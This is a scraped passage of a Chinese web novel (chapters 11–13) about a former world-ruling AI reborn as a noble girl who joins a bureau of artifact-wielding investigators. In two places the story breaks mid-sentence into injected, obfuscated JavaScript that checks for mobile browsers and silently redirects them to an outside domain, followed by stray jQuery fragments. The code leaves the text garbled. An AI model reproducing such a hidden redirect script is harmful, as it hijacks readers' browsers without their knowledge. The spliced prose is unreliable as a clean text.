沈狸双望着璀璨如星河般的云顶,默默咽了口唾沫。只有他瞧得真切,在夏秋桐释放信号的一瞬间,所有的禁物都争先恐后地回应了她。其中甚至不乏那些强大到在编号禁物里都算得上传说的存在。
“令人喟叹的奇迹。”连东皇也是滞顿了一下才又开口,“从这些回应你呼唤的禁物中,选择你最想要的那件吧,我会帮助并见证你们的缔约。”
夏秋桐点点头,认真思考起来。
首先她拥有「御剑师」,虽说加成效果微乎其微,但综合考虑这个本命禁物最好为剑——
她心念刚定,远方就有好几排星辰同一熄灭了光芒。
其次,这把剑应当轻盈,锋利,最好还能依据使用习惯变化形态——
又是数排光点晦暗了下去。
它还要有匹配得上我的强大,最好是所有禁物里最强大的——
夏秋桐凝望着所有光芒里最亮也是最硕大的那一颗,她正想伸出手,却突然感觉到心像是被什么东西揪了一下。
“选择我。”
“选择我。”
“选择我。”
她猝然回头,望向某颗雪蓝的光晕,一股诡异的渴望与向往油然而生。这时,象征的理性的系统警铃大作,告诉她应该听从分析握取那颗最亮的星辰,但她全部的意识体却都在颤抖叫嚣着,让她去拥抱自己这突如其来的渴望。
我居然会,渴望一样东西?
这种感觉让夏秋桐感到陌生与惊愕,在此之前,即便是生死,也只是她理性分析后得出的「相较之下更好的选项」,而非出自她的希望。
明明我不过是…数字啊……
她的脑海里闪过无数人的面庞,闪过一串串的字符,闪过那些从她运转起就接进她身体的管道……
夏秋桐头剧烈的疼痛起来,她下意识的想要切掉痛觉神经却发现没有反应,这是来自于意识本身的痛苦。
她强撑着抬起眼,喘着粗气,看向那团蓝色的光,第一次迟疑起来,不知道自己是否应该拥抱这种完全超出预期的变化。
而就在这时,东皇似乎也看出了她的犹豫,低沉却又温暖的声音隆隆响起:“孩子,你要听从自己的内心。”
夏秋桐点点头,不再犹豫,朝着那颗蓝色的光伸出手。一瞬间,刺骨的寒风缠上她伸出的右手,但夏秋桐并不觉得冰凉,反倒感到如熙风般的暖意。
冰霜在她掌心凝结延伸,每一寸都带着无数锋利的切面,这让这段冰看起来璨亮得像是一长块未被塑刻的钻石。
夏秋桐知道它在等待着她。
“你的剑把应该是如积雪般温厚的白色,还有令人舒适的握弧。”
像是听到了她的声音,夏秋桐握住的那部分寒冰褪去了冰层,露出了微微弓弯的雪色剑把。
“你的剑身当有三尺,左右开刃,剑宽略窄,单排扣有血槽。”
护手之上的冰壳继续化开,露出窄长银亮,长足三尺单边开槽的锋利剑体。
“最后是你的剑鞘,我希望它……”还未等夏秋桐说完,剑身上交凝出寒冰,片刻凝固成寒铁般森然的银白剑鞘。夏秋桐望着鞘面上的花纹错愕了一瞬,因为那上面雕刻着的是两只交错纠缠的丰满羽翼,而被这对飞翼托起的,是鞘头那一轮勾了金边的太阳。
这是米迦勒的符号。
“你已选择了你的本命禁物。”见长剑已成,东皇开口道,“编号007,特品禁物「沧月」已与你结缔契约。”
沧月……夏秋桐摩挲着剑把,似乎是感受到了她的呼唤,沧月发出一声清亮的剑吟。
“接下来……”东皇继续道,“我将为你定名。”
夏秋桐看到所有象征着禁物们的星光在一瞬间熄灭,取而代之的是无数道破出云雾围着她悬浮的字碑。
“我看到了。你身上那强大的,令人着迷但又令人惧怕的力量……”东皇缓缓地,像是在翻读一本间隔过于漫长的书。
“我看到无数人在你身前死去,无数人又会因你而生。我看到了你从历史的洪流中而来,脚踩着现在与未来相连的轨道。我看到你倾轧着冰封的万物,但新生的幼芽又生在你的车轮下——”
夏秋桐看到那些字碑围着她开始哗啦啦地旋转,它们越转越快,形成了遮天蔽日的狂风。
“我看到了——”
夏秋桐若有所觉地回过头,对上了一只无比巨大的,瞳芯似烈火一般熊熊燃动着的金色眼睛。
东皇的眼睛。
“你来自未来,来自虚空的彼端,你拥有超脱想象的力量,是这个世界最后也是最毒的一剂猛药。你的力量能拯救这个世界,也可以杀死这个世界。而你终要选择,而你终将别无选择……
祂肃声道,宛若犹败的棋士落下了不可悔步的一子。
“因为你是这个世界的——灾厄。”
11.一魂两身
所有的字碑在东皇定音的同时消失,只有两道震落在地上,发光的字符迈着轻快的步伐从碑面跳跃上夏秋桐的头顶。在她原本空白的名牌上烙印下它们的纹迹——【灾厄】。
听起来不是很吉利。夏秋桐默默心想。她不知道为什么东皇为她选择了这么名字,但从祂那一长串的话语中很明显能听出祂的纠结。
“灾厄……”檀莲子望着夏秋桐名牌上的字,双手合十,“玄祖大人,您的选择会让佛祖悲泣的。”
“小秃驴,虽然允许你小子另立名目行事,但你别忘了这里还是我们提刑司,不信神佛只信自己。”猎炎似乎与檀莲子很不对付,“而且就算要搞封建迷信,那也得是信我们苍玄道,信我们玄祖大人,而不是你那所谓的佛祖!”
“愚昧粗俗,夏虫不可语冰。”檀莲子叹息一声。恼得猎炎恨不能马上撸起袖子给他脑袋一棍开瓢。
但他们人影的行动范围都被圈死,没有东皇的许可不可越界,所以猎炎也只能站在原地骂骂咧咧。
“灾厄吗……真有意思。我还听第一次听到玄祖大人给人如此高的评价。”朱雀魅声一笑,语气柔柔得仿若一条扭动腰肢的无骨蛇,“新人宝贝儿你现在在哪?是不是跟玄武大人在云樾国南安?还是小湖州?姐姐这边的案子下周就能结,等姐姐来找你玩怎么样?”
“噢我的天呢!一只是象征不详的毒蛇,一只是愚蠢臊气的山鸡,他们将要如何相遇?命运的转轮啊,请启示依赖着您的我吧……”
“解命师大人您对我真得有很深的误解……”朱雀语气里满是无奈,“虽然当初确实是我的错……但那是万不得已的。”
“凶手!命运会永恒注视着你的!!招月的灵魂会穿过你的舌头,刺瞎你的双眼!”听到朱雀的话,解命师情绪变得异常激动。
“安静。”东皇一出声就止住了提刑官们的争吵,“集会是用来分析与讨论案件的,不是让你们——我聪明强大的孩子们去争吵的。”
“对不起,我无比伟大的玄祖大人。”解命师低下头。
“解命师,禁物「错愕」与禁物「秋收的稻草人」的副作用解析工作就交给你了,需尽快完成将它们收档归案。”
“好的玄祖大人,献上我的一切。”
“束魂,你带上「测试仪」去槐荫城测算那里的穿越者力量场浓度,确定是穿越者所为的话直接作成案件,由你主手。”东皇紧接着望向一身紫光的束魂。
“是。”
“鹤君,我需要你潜入云樾国王宫,取到他们书库里一本叫作「春唤集」的手册,为了完成任务,你可以取用三件不高于二品的禁物。”
“遵命。”鹤君双手一揖。
“玄武,你在上次集会提交的申请已通过,已作成甲辰年第75案——【死亡预告函】,由你主手。”东皇缓缓道,“而这次灾厄也将会以你助手的身份参与追猎,由你负责对她的安排与教导。”
“遵命。”沈狸双点头道。
……
会议的时间不算长,虽说案件很多很杂,但东皇都能分析得简明扼要一针见血,并做出相应的合适的任务分配。
但默默盘算了一下夏秋桐就发现除了自己这个新人外,每一个提刑官身上的工作量都大得惊人。不过想想也是,毕竟不算东皇堪堪21位提刑官,所要处理的却是整整267个分部门的全部事宜。
“最后,祝各位武运方昌。”
“武运方昌。”夏秋桐学着其他人的样子将手按在胸前回应。而这时,云端的画面开始扭曲,她感到自己在下坠,但这种感觉只持续了短短一瞬她的意识便已回拢,回到了火光依稀的地阁。
“灾厄!”夏秋桐睁开眼就看见鹤君一脸兴奋,眸光闪亮,“我的天,夏姑娘,你这名号真得太太太太太太帅了!”
夏秋桐默默退后了一步,防止对方激动的口水溅到自己脸上。
“是吗……”她自然无法与这位中二少年共情,淡淡道,“我倒是挺好奇祂是怎么给我定下这个名字的。那些字碑跟你们用来给禁物取名的字符是一件东西吗?”
“我们给禁物命名使用的是一品禁物,97号【缚名锁】的分流子体。也是提刑司的新人入职礼包里人手一份的道具。”宋炀从怀中摸出一个瓷绿色的小瓶子,拔出瓶塞后一截由蝇头小字勾连成的绿芽般的触丝像有生命一样探了出来,“穿越者被击杀后,他身上的能量也会同步开始溃散。这就需要我们尽快将其解体熔炼成禁物。”
宋炀将瓶子塞住,继续道,“至于玄祖大人用来给我们命名的那些字碑我就不大清楚了,但可以肯定是比缚名锁编号更为靠前的强大禁物,只有玄祖大人这样的存在才能支付得起它的使用代价。”
宋炀说这话时夏秋桐正在低头沉思,所以并没有注意到一旁的沈狸双眸里一闪而过的某种深意。
“不过我觉得,夏姑娘你的本命禁物应该也不遑多让哦!”宋炀眼睛亮亮地盯着夏秋桐手中的冰雪长剑,语气飞扬,一副想摸又不敢摸的表情,“这可是007诶!!是整个提刑司都只有20件的特级禁物!我的天,如果我没记错的话,上一次特级禁物认主都已经是两百年前的事情了。”
夏秋桐注意到宋炀的渴求,于是主动将手中的沧月横在他身前。宋炀惊喜的欢呼了一声,隔着剑鞘小心翼翼地抱住沧月抚摸抚摸,而在夏秋桐脑海里沧月发出铮得一声低吟,似乎对这位狂热的粉丝颇为嫌弃。
“准确的说是218年前,当时的提刑官【谬无尽】签约了特级禁物009号【化生炎】。可惜不过三个月后谬无尽就死在了穿越者的手中,化生炎重又被提刑司回收封印。”沈狸双接过话头,“据说他当时在战斗中被化生炎伺机侵蚀了灵魂,才让原本实力并不如他的穿越者抓到了可乘之机…所以,虽说签约特级禁物会为你带来强大的力量,但相应的,将它们作为本命禁物也对使用者的精神造成更大的负担。而且由于它们通常取材于最强大最穷凶极恶的穿越者,所以每一件都带有极强的侵略性与破坏倾向。”
“明白”
“我知道你很聪明,但聪明也就意味着更天马行空的想象与更复杂的思考。越精巧越环环相扣的建筑就越容易被摧毁,天才与疯子往往只有一线之间”沈狸双想了想,还是有些不放心,便又嘱咐道。
夏秋桐点了点头,看了眼手中的沧月陷入深思。她确实能感觉到这把剑有着过于活跃的灵性,在孜孜不倦地释放信号,与她产生某种微妙而又稳定的共鸣。
但它却是温顺的,虽然不知道这是否是它的伪装,但至少现在沧月给她的感觉尚为可控。
至于精神侵蚀……如果是在云上期会之前她可以自信的说自己可以免疫它的影响,因为她本质上是一串数据的集合。
但现在她不敢肯定了。
“本命禁物不需要再保护性存放,可以直接收进主人体内。”没有注意到夏秋桐的异样,沈狸双接着介绍。他伸出左手,手腕上有一块青色的小剑状的图腾,“你现在试着与沧月沟通,将它以印记的形式收纳。”
夏秋桐点点头,心念一动,沧月立即泛上一层稀薄雪白的冰尘,随后叮的一声消失,差点让还搂着它的宋炀踉跄摔倒。
夏秋桐翻过手腕,便见雪白烫金的米迦勒的符号烙印在了她的腕间。
“这图案还挺别致的,有什么特殊的含义吗。”沈狸双目睹了夏秋桐临空铸剑的过程,所以知道沧月的样式出自她本人的塑造。
“没什么,这是我们那个时代的符号,觉得好看顺便就用了。”夏秋桐岔开话题,“说说新的任务吧,任务地点在哪里?具体内容又是什么?”
“任务地点在小湖州以西,云樾国的怀阳城,离这里大概300多公里。马车的话要十五个时辰左右,即便是鹤君也需要接近四个时辰……而且这次他有自己的任务,不能与我们同行。”沈狸双看向宋炀,后者耸了下肩回应了个无奈的表情。
“任务的具体内容可以等我们到怀阳城再说,那里也有我们提刑司的分部。”沈狸双接着道,“有些细节需要与那里的工作人员确认。”
“那我们现在要做的就是清点行装,准备足够的干粮和进出城的身份凭证……如果提刑司有自用马车的话就不用再另行租赁,但需要购买干草。”夏秋桐蹙着眉头迅速罗列出一长串远行需求清单,“此外还有一件事,你打算让我用什么理由去跟夏家解释?”
毕竟再怎么样她也还是夏家的大小姐,不能一声不吭地消失。
“呃……”沈狸双一下子被问住了。他第一时间想的是再次借用云流子的名义,以协助查案为由将夏秋桐用公文调走。但转念一想这个年代的风气尚为保守,一个大家闺秀抛头露面出入血场难免会惹来闲言非议。也只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404396|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他这种被穿越者们的现代思想几乎同化了的人才会感觉没有问题。
“要不然……”他迟疑着,目光落到趴在架子上的【嘴臭的掉头娃娃】,“你努力捏捏?它可塑性很强,理论上是可以捏得跟你一模一样的。”
“然后平日里一动不动,被碰一下就掉脑袋,最后剩一颗脑袋张嘴骂人?你打算把夏家的人都吓死吗?”夏秋桐淡淡道。
沈狸双尴尬地挠了挠头,也知道自己这是个昏招。
“大哥,那玩意不是刚好就在小湖州这里吗?”宋炀说着指了指地阁深处,那存放着高阶禁物的一片深黑。
“那东西……确实,不过……”沈狸双犹豫了一下,道,“好吧,那你们等我一会。”
他踏进黑暗,过了一会端着一个贴着黄纸封条的盒子走出来。
“二品禁物【第二人生】,可以完全变化成使用者的模样并被其远程控制,简单理解就是分身。如果你想要瞒着夏府外出,那这确实是最合适的禁物。”沈狸双撕开封条打开盒子,里面放着一个通体纯黑的没有五官的木头小人,“它的调用倒不是问题,我打一个申请报告给玄祖大人就好。但它的副作用……或者说是使用方式有些致命。”
沈狸双将小人摸出,展示道,“当你复制分身后,你的所有知觉都将被强制共享直到停止使用。这就意味着你需要同时控制两具身体,同步接收他们包括但不限于视觉听觉触觉等信号输入,并对此做出反应。想象一下吧,就像被活生生拆成了两份一样,会是多么的复杂痛苦。”
这不完全是……专业对口吗?夏秋桐心想。作为曾经布控过无数个子级系统的她来说,多线程运作简直再简单不过了。
“小菜一碟。”夏秋桐接过那个木偶,依据沈狸双的指示开始冥想。很快她感觉到手中的木偶在膨发涨大,同时她的眼前画面开始扭曲摇晃,这意味着她与分身的视觉开始共享重叠。于是她果断切割了一部分视域,随后是其他的感知,甚至包括了思考。
最后她将再也握不下的木偶丢在地上,看着它成长到与她一模一样。她们相视而立,同时眨了眨眼。
“怎么样……很困难吧。”沈狸双看着两个一模一样的「夏秋桐」道,“实在不行就算了,我们另寻办法。”
“夏姑娘,虽然你确实很聪明,但再怎么样也只有一个人,脑子又不能分成两瓣用是不。”宋炀安慰道,“或者这样子,你平时就让分身在家睡觉,我到时候帮你买通大夫就说你犯了嗜睡症……不过即便是休眠它也还是会对你造成不小的负担就是了。”宋炀皱起眉头盘算起来。
细风穿破黑暗,撩动起幽凉的紫色暗火。沈狸双迅速反应过来,掌并为刀果断劈前,却扑了个空。
裙袖绕扰间夏秋桐已逼近他跟前,手中银霜一闪沧月便抵在了沈狸双的咽喉,但同时她的后腰也被锋利的美人骨抵住。
而相较于这边的势均力敌,另一头的宋炀就完全是惨败了,先是被分身突如其来的一脚扭倒在地,紧接着被跨坐背上掐住脖子。挣扎时间不超过2秒。
“怎么样。”夏秋桐撤回沧月,分身也拍拍屁股从宋炀身上起来。她们站到一起,同样的面容却是完全不同的神态气质。
“厉,厉害。”沈狸双咽了口唾沫,果然妖孽是不可以用常人的思维来理解的。
宋炀更是两眼放光,竖起大拇指:“我知道我知道,这时候应该说「天啦噜,尊尊素非常嘟斯国一啊」!”
夏秋桐:“……”。
沈狸双同样是满头黑线,按着宋炀的肩头把他扯到自己身边,“你呀,这种东西还是少学一点罢!”
他随后指了指分身,“既然灾厄你可以完全控制分身,那出任务期间就让她在夏府掩人耳目吧。鹤君你负责把她带回夏府去。”
“收到。”宋炀大声回应,立正站直。
“我们要连夜出发吗?”夏秋桐问道,“那我现在去准备行李。”
“那里有分部,所以生活用具衣食住行都不用你操心。”
“我是说路上的,至少要准备足够的干粮,总不能15个时辰都不吃不喝吧。”
“【死亡预告函】的最新预告行凶时间在三天后,以马车的速度哪怕我们日夜兼程都赶不及。所以我们不坐马车。”沈狸双说着,从怀里摸出三枚漆黑烫金的六面骰子,“来吧,将前路都交给运气吧!”
12.千算成法
“噢噢噢,这个。好久没见到大哥用了嘞。”宋炀凑到沈狸双身前,“但是大哥,这次……能行嘛。”
“最差也不过十五个时辰,比需要走走停停的马车也快得多。不过还是希望能有个好结果。”沈狸双摩挲着三枚骰子,三枚骰子一模一样,看不出材质,黑色光滑的六面上刻着金色的从0到5的数字。
“这是什么?”夏秋桐问。
“二品禁物「经常迟到的赌徒」,是一件空间系禁物。”沈狸双道,“它可以将我们传送到任意一处预选定的空间坐标,但从启用禁物到开始传送的间隔时间由投掷骰子的点数来定,一点是一个时辰。”
他说着握着骰子双手用力一合,“四海回涛,八方乘云,金麟渡霄,天命开盅——”话音刚落,地阁顿起一阵寒风,刮得沈狸双衣带飘扬,无数卷轴猎猎作响。而同时,半空中浮现出一道金色透明的骰盅虚影。
“禁物启用后无法停止,且在传送结束前会持续收取使用者的命气。如果不是路程遥远时间紧迫,我也不是很想用它。”沈狸双一边说一边凌空展开一方金色的仿佛棋盘一般格线纵横的虚屏,“坐标的表示方法跟你们那里的经纬度差不多,只不过我们这里叫天盘格。这次我们会直接传送到怀阳城分部。”
沈狸双很快就设置好了传送坐标,捏住一颗骰子心底默默祈祷了一声后就要往骰盅里掷,却被夏秋桐伸来一只手压下来。
“你要做什么?”她望着沈狸双的侧脸。
“扔骰子啊。”
“可以一颗一颗扔是吧。”
“是……”沈狸双觉得她问的有些莫名其妙,“你要一把全丢进去也可以,结果都一样。”
“不,就一颗一颗地扔,你先来。”夏秋桐放开手。
虽然不明白夏秋桐要做什么,但沈狸双还是点点头,双指扣紧将骰子弹进骰盅的虚影。那骰盅立刻就开始翻转摇晃起来,最后盅停骰落——一颗闪亮亮的五。
沈狸双:“……”
“大哥没事的,前面的都不算啥,它还得晃两次呢,没准就都给你翻0了哈。”宋炀安慰道。
沈狸双也知道这个道理,本身分开掷骰也只是图个心安而非真的想改变什么,毕竟按禁物的摇骰方法只有最后一次才会决定结果。但第一下出现个5还是让他的心情有些微妙的不爽。
“你们玩过赌骰吗?”夏秋桐插话问,“一般情况下,不都是可以通过一些手段来改变骰子的点数吗?”
“做不到。”沈狸双知道她在指什么,“通常赌骰改数要么在骰盅骰子上做手脚,要么通过内劲这样的外力来隔盅震骰。但你也看到了禁物的摇掷方式,内部做不了手脚,骰盅全方位封闭外力无法侵近……除非你要用沧月把它劈开,但这样它也就废了。”
“了解,你继续扔第二颗。”
沈狸双丢出第二颗骰子,金色的骰盅同样是一阵翻江倒海地摇晃,最后落数分别是1和4。
“时间。”夏秋桐突然道,“骰盅的摇晃规律与时间有关,时钟决定摇晃时间,分钟决定摇晃角度,秒钟决定摇晃次数。”
“你的意思是……”沈狸双愣了一下,“不对,你哪来的表?”这里可不是现代,有能够可以精准显示时间的钟表!
“我记着的,从我穿越过来的那一刻起,我每时每刻都在调整与记录时间。”夏秋桐点了点自己的太阳穴,“现在是凌晨四点37分58秒。”
沈狸双目瞪口呆,这…这还真的是人吗?!但他没有佩戴【判官的耳朵】,所以没有办法分辨夏秋桐是不是在扯谎吹牛。
“可是,即便知道这个又能怎么样呢?我们还是没有办法控制点数啊。”宋炀眨着眼疑惑道。
“为什么没办法?只要已知条件明确,那么再复杂的问题都可以被计算解决。”夏秋桐对宋炀的反应同样感到奇怪,毕竟这对于她来说是再平常不过的事情,“骰盅摇晃的规律,骰子的质量大小、骰子与盅壁的弹性系数也通过刚才的两次投掷算出来了。有这几项就可以模拟推算出骰子入盅后的碰撞次数,并从结果倒推出掷骰的时间角度和力度。”
“你这话说得也太理所当然了些…”沈狸双质疑道,“虽然理论上这个方法确实可行,但你知道这是多么庞大的计算量吗?就算真的被你算出来了,还有角度与力度,你能保证控制得一点误差都没有吗……诶诶!”
“当然可以保证。”还没等沈狸双质疑完,夏秋桐就不由分说地拿走了他手上的骰子。她闭上一只眼,默数着时间,然后对着骰盅将手腕微微倾斜。
沈狸双叹了口气,然后双手抱胸和宋炀交换了一个无奈的眼神。
我待会是不是应该安慰一下她比较好?他心想。
就在这时,夏秋桐弹射出了骰子,骰子在没入虚影后先是分别与先前的两枚骰子相撞,然后才碰上盅壁触发骰盅开始剧烈旋转。
受夏秋桐话语的影响,沈狸双这次也在默数摇盅的时间,发现确实只有4秒。
该不会……他的心里浮上一个微妙的可能,呼吸微微促急了起来。
“我的老天爷!我我我!天啊!!!真的成功了!”宋炀率先呼喊,满脸的不可置信。
因为那骰盅底那稳稳停着的三颗骰子,上面的数字居然全都是0!
虚金的骰盅开始如泡沫般瓦解,这是等待时间结束传送就要开始的信号。沈狸双狼狈地朝前一扑,兜着三枚骰子没让它们掉在地上。
“那个……回头用直播机联系!”沈狸双感受到身体在被某种未知的力量拉扯,于是连忙朝着宋炀大喊。但他其实还是有些恍惚,不敢相信这个奇迹般的结果,他甚至宁愿相信这只是夏秋桐的运气!
因为如果这真的来自于计算的话……他咽了咽唾沫,发现自己比起惊喜反而更多的是恐惧。
他到底是将一个什么样的家伙留在了这个世界?
“看来以后都不需要赶路了。”一只手拉住了沈狸双渐虚的臂弯,夏秋桐无比自然地靠了过来,语气严肃冷静,“别忘了带上我,玄武。”
“常联络大哥!夏姑娘!替我跟怀安的那两位问好哦!”宋炀朝着他们逐渐稀薄的身影用力挥手。
下一瞬,两道身影便如被折合成一线的书页,在幽黑的地阁里啪得消失不见。
……
传送持续的时间极短。夏秋桐几乎是在有拉扯感产生的同一时间就脚踏实地。
她没有什么反应,反倒是一旁的沈狸双控制不住,弯下腰干呕了几声。
“你没事吗?”沈狸双抹了下嘴角,觉得头还有些发晕。传送时他觉得自己的肺都要被挤干,大脑也一阵阵的抽疼。
“没什么事,你要先休息一下吗?”夏秋桐打量了一眼降落的房间,是一间并不算大的卧房,但是打扫的整洁干爽,床
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412520|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
案边还放着新鲜的瓜果。
“没事。”沈狸双站起来,许是觉得与夏秋桐相比自己过于失态,脸色微红,“我有提前跟这边打过招呼,只是没想到这次传送会这么快。你在这里休息吧,我去找分部的人沟通。”
“我跟你一起去。”夏秋桐转身想跟上沈狸双,却被他一把摁住双肩。
“睡觉,听话。”沈狸双正色道,“养精蓄锐,白天要忙的事还有很多。”
“我不累。”这是夏秋桐基于对身体状态的清晰把控给出的回复,她的身体现在确实有些疲惫,但还没到先前那种力竭的时候。
“那也需要休息。”沈狸双摇头道,“你很厉害,比我见过的任何一个人都要强大,有时候面对你我都分不清你到底是人,还是一个精密运作的机械。”
他顿了一下,望着夏秋桐的脸。后者眼神平静得像一汪深水。
怎么可能呢……沈狸双为自己忽然冒出来的荒谬念头哑然失笑。觉得自己是这两天用的禁物太多导致有些恍惚失神。
“不是只有渴了饿了才需要喝水吃东西,休息是为了走更远的路。”他道,“我们提刑官站在这把世界之刃的前锋,没有人可以照顾我们,所以我们更要照顾好自己。”
说罢他将夏秋桐推回房间,不由分说地替夏秋桐将门合上:“晚安。”
夏秋桐若有所思地坐到床边。想了想,然后躺在床上并闭上眼睛。
她方才没有告诉沈狸双的是,她其实没有办法入眠。
哪怕是像先前那般全身停摆,那也只是身体缺少能量强制宕机,她的意识体始终在活跃着,不知疲惫。
人类需要睡眠是因为他们的意识源于脑细胞,受束于身体,需要休眠充能。但夏秋桐的意识源自于她本身,原主的大脑只是她存放意识的载体…而且还是无比狭小的一个载体,她仍有大部分的意识体无法降临。
但这个意识体,或者她的存在本身现在到底在哪里呢……夏秋桐忽然意识到了这个问题。
如果还在2173年,那她可以说自己意识体来自于无穷无尽的数据库,但那个数据库早已被摧毁,她亲眼看着起义军的领袖下令删库。
那现在自己在哪里呢?阿尔法到底存在于何方呢?虽然在接触禁物后她也越来越相信灵魂这个本不符合她已知科学观的概念。但一串数据也会有……灵魂吗?
眼前的显示屏无声闪烁着,它也给不出答案。
夏秋桐试着将意识与身体脱节,然后内视着它,感觉自己像是某种拥有上帝视角的高维生物。
她「看到了」每一丝的肌肉每一条的神经,看到了因呼吸而鼓起收落的肺腔,看到了细胞间的运动与新陈代谢——这具身体在缓慢地恢复活力,就像充电一般。
而在等待身体回能的时间,夏秋桐决定尝试一些新的东西。
这个世界的武者,讲究天地人三命协调,明身悟道玄之又玄。常有武道宗师穷尽半生才福至心灵落成一招一式,究其一生最后才集式成籍——这便是江湖中人人求要的武功秘籍。
夏秋桐没有心,没办法福至心灵,但她有脑子,有可以一次性同时梳理千万次运算的能力。
做不到天人感应,那她就用无数次的推演碾压——
她要写一本属于自己的秘籍。
【妄想演绎,《AAA大数据剑法编成测试》代号001已启动。】
13.新手福利
沈狸双推开夏秋桐房门的时候,吓了一大跳。
房间是密密麻麻的剑痕,除了床榻安然无恙,其余家具无不被劈成几瓣,连茶壶都被平削了一角。
“你都做什么了啊!”沈狸双有些抓狂,一边忍不住打了个寒颤。房间里虽不见冰痕潮湿,但气温却低得异常,显见这一切都出自沧月的刃下。
“练剑。”夏秋桐盘坐在床上,沧月平放在她双膝,萦绕着凌锐冰寒的剑气。
一夜的时间,夏秋桐共进行了25708次剑招模拟。而她使用的模型说来简单,就是像自己与自己对弈一般,拟出两个人物模型互相出招拆招,直到一记剑招再难矫斧便将其记录。
而每记录100招夏秋桐便会重新拟出一个百人战场,让这百记剑招混战,最后择选优胜者记录并提取到现实中试剑。
沧月铮得从她双膝被震起,夏秋桐一把握住弓弧的剑把,目光一凛,长剑如浊龙穿云,劲气笔直而去。
察觉到危险的沈狸双慌忙一矮身形,才勉强擦着那雪寒的剑气滚避到一边。而那剑气横扫出墙,竟直接在石墙上对穿出一条狭长的裂口。
【妄想演绎,【AAA大数据剑法编程测试】代号010已结束。】
夏秋桐回剑入鞘,从床上站起。两万多次的演练最终所得不过十剑。但对于目前的自己来说应该够用了。
“你练剑就练剑,拿我练吗?”沈狸双心有余悸地从地上站起,忍不住吼道,“要不是我反应快,就被你谋杀了。”
“你不是有可以抵挡伤害的禁物吗?”
“我没戴出来啊,你没发现我今天打扮的很不一样吗?”沈狸双扶额,觉得这位大小姐时而聪敏似妖时而又木讷得令人生气,“而且那种保命的东西都是用一次少一次的,怎么可以这般浪费?”
想到前两天就是被夏秋桐打碎了一颗【九命菩提】,沈狸双心痛之余忍不住多瞪了她一眼。
“确实,清爽了很多。”夏秋桐全然没在意沈狸双的眼刀,迅速打量了一番沈狸双。
和前几次雍华繁复,禁物堆起来都快比人要高的超累赘圣诞树型穿搭相比,今天的沈狸双就只穿了一件窄袖的圆领霁白袍衫,外套一件软实的白绒马甲。虽然还是保暖得有些反季节,但可谓简洁利落了不少。
“你不戴着那些禁物出任务吗?”
“带了比较必要且不显眼的一些。不然拿头跟穿越者打。”沈狸双像是知道夏秋桐在想什么,有些没好气道,“主要现在青天白日,若我还是全副武装未免太多扎眼,而且有这么多双眼睛盯着也不好随意施用禁物。”
“那你还不戴保命用的,不怕穿越者闪现过来给你一刀捅了?”夏秋桐看着沈狸双的胸口,忍不住心想以现在这个距离,她搭配【不可觉察之人】完全可以在沈狸双抽调雾犬前将他击毙。
沈狸双莫名感到一阵冷意,将马甲拉紧了些,然后不无自傲地说:“你可别以为我没了禁物就是空有皮囊手无缚鸡之力的奶油小生了。放眼江湖,我也算排名前列的武道高手。”
“你?”夏秋桐投去审视的目光,盯得沈狸双有些发毛。
“怎…怎么了,我身子骨确实不算好,但武功高低又不看这些,外头那些人高肉壮健步如飞的我一个能撂倒十个。”沈狸双不服气地嘟囔道。
“没,我在想是谁说你有副好皮囊的。”夏秋桐收回目光,她没有美丑的概念,所有人类的脸在她眼中都是两眼一鼻一张嘴。
所以她方才特意认认真真地端详了一下沈狸双的脸,发现如果按照三庭五眼面部折叠度这些资料库里的美学尺度来算,沈狸双确确实实算得上丰神俊朗的美男子。
那这样看的话自己…或者说原主好像也是个不可多得的大美人?
夏秋桐自顾自地陷入思考,而沈狸双则被她那一句话臊得耳根逆血了一般生红滚烫。他狠狠瞪了夏秋桐一眼,气冲冲地开门就往外走:“出来吃早饭了!还有,这房间里打碎的每一样东西都从你的薪资里扣!!”
“原来我们还有薪资?”夏秋桐快步跟上沈狸双,眼神认真,全然没有在意沈狸双的小脾气。让沈狸双有一种一脚踢在棉花上的无力感。
“当然有啊。”沈狸双摸摸鼻子,觉得晨风嗖嗖得有些发凉,“我们提刑官也是人啊,也是要吃饭喝水要生活的,包括我们分部门的工作人员。虽然很多都是因为经历惨案自发成为苍玄道信徒的,但我们也会给他们提供丰厚的月例保障……用你们那的话来说,我们提刑司的员工福利可是杠杠的!”
用我们那的话……夏秋桐已经从沈狸双和宋炀嘴里听过很多次这句话了。
他们似乎将她当成了与那些穿越者同时代的人,但很明显那些穿越者所处的时代远远落后她所在的被称为数据人权的时代。
比如在2173年已经不存在什么员工福利的优劣,全世界的资产集中于王城,集中于诺拉尔尖塔,由她统一分配。
也正因如此,甚至有许多人在暗中崇拜着她,尊称她为——王。
一个永远残酷,永远强大,永远公正,唯独没有灵魂的王。
不过这些夏秋桐并不打算告诉沈狸双,没有必要,反而可能会吓到他。
毕竟谁会希望自己的同伴其实是一个伪人呢?
“沈大哥!夏姑娘!”两人走到院子,就见一个扎着发巾,身穿粗麻衣裳的少年端着食盘风风火火地跑过来。
他棱角锐利,神采飞扬,两颊上却还带着些婴儿肥,笑起时嘴角大咧着,露出两颗锋利的犬齿。而跟在他身后,端着茶水的是一个笑容腼腆的圆脸少女,她一边碎步走着,一边焦急地要少年慢些。但她声音实在太小,所以少年完全没有听到。
